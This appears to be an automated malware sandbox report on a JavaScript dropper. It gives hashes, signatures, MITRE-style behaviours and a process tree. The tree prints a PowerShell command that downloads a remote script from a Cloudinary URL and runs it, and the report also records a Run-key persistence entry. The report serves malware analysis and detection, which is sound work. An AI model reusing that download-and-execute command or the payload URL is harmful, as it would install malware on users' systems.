Analysis
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max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
12-12-2024 02:25
Static task
static1
Behavioral task
behavioral1
Sample
65c941cb336cf645d782e99b761fb37740a615948c6c2c83a3bcba882a2c97a4.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
65c941cb336cf645d782e99b761fb37740a615948c6c2c83a3bcba882a2c97a4.js
Resource
win10v2004-20241007-en
General
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Target
65c941cb336cf645d782e99b761fb37740a615948c6c2c83a3bcba882a2c97a4.js
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Size
389KB
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MD5
a0c2859596c5ce9790594ba975cb0eac
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SHA1
3fcb95f0177d3ec86496f2388fb78b0b2d28820b
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SHA256
65c941cb336cf645d782e99b761fb37740a615948c6c2c83a3bcba882a2c97a4
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SHA512
738072f15990c51584c71962043e3bea38dd3b758170815f5daddfceb8622f2eff13e9c8ec1dfcc4f9c150eb8065aa9a4ac38b80e712f037ad5c325de96cfb9e
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SSDEEP
1536:UfffKffafffKffafffKffafffKffafffKffafffKfffffffffffffffffffffffz:XHuCM4
Malware Config
Extracted
https://res.cloudinary.com/dxtifaxks/raw/upload/v1733864899/novojeitoasync_zhpjwy.txt
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 2712 powershell.exe 7 2712 powershell.exe -
.NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
resource yara_rule behavioral1/memory/2712-51-0x0000000002CD0000-0x0000000002D16000-memory.dmp net_reactor -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\D = "C:\\ProgramData\\PDF\\1.bat" powershell.exe -
pid Process 2712 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 2712 powershell.exe 2712 powershell.exe 2712 powershell.exe 2712 powershell.exe 2712 powershell.exe 2712 powershell.exe 2712 powershell.exe 2712 powershell.exe 2712 powershell.exe 2712 powershell.exe 2712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2712 powershell.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2708 wrote to memory of 2712 2708 wscript.exe 30 PID 2708 wrote to memory of 2712 2708 wscript.exe 30 PID 2708 wrote to memory of 2712 2708 wscript.exe 30 PID 2712 wrote to memory of 1612 2712 powershell.exe 32 PID 2712 wrote to memory of 1612 2712 powershell.exe 32 PID 2712 wrote to memory of 1612 2712 powershell.exe 32 PID 2712 wrote to memory of 1612 2712 powershell.exe 32 PID 2712 wrote to memory of 2020 2712 powershell.exe 33 PID 2712 wrote to memory of 2020 2712 powershell.exe 33 PID 2712 wrote to memory of 2020 2712 powershell.exe 33 PID 2712 wrote to memory of 2020 2712 powershell.exe 33 PID 2712 wrote to memory of 1256 2712 powershell.exe 34 PID 2712 wrote to memory of 1256 2712 powershell.exe 34 PID 2712 wrote to memory of 1256 2712 powershell.exe 34 PID 2712 wrote to memory of 1256 2712 powershell.exe 34 PID 2712 wrote to memory of 2024 2712 powershell.exe 35 PID 2712 wrote to memory of 2024 2712 powershell.exe 35 PID 2712 wrote to memory of 2024 2712 powershell.exe 35 PID 2712 wrote to memory of 2024 2712 powershell.exe 35 PID 2712 wrote to memory of 1996 2712 powershell.exe 36 PID 2712 wrote to memory of 1996 2712 powershell.exe 36 PID 2712 wrote to memory of 1996 2712 powershell.exe 36 PID 2712 wrote to memory of 1996 2712 powershell.exe 36
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\65c941cb336cf645d782e99b761fb37740a615948c6c2c83a3bcba882a2c97a4.js1⤵
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ((New-Object System.Net.WebClient).DownloadString('https://res.cloudinary.com/dxtifaxks/raw/upload/v1733864899/novojeitoasync_zhpjwy.txt'))2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"3⤵PID:1612
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"3⤵PID:2020
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"3⤵PID:1256
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"3⤵PID:2024
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"3⤵PID:1996
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b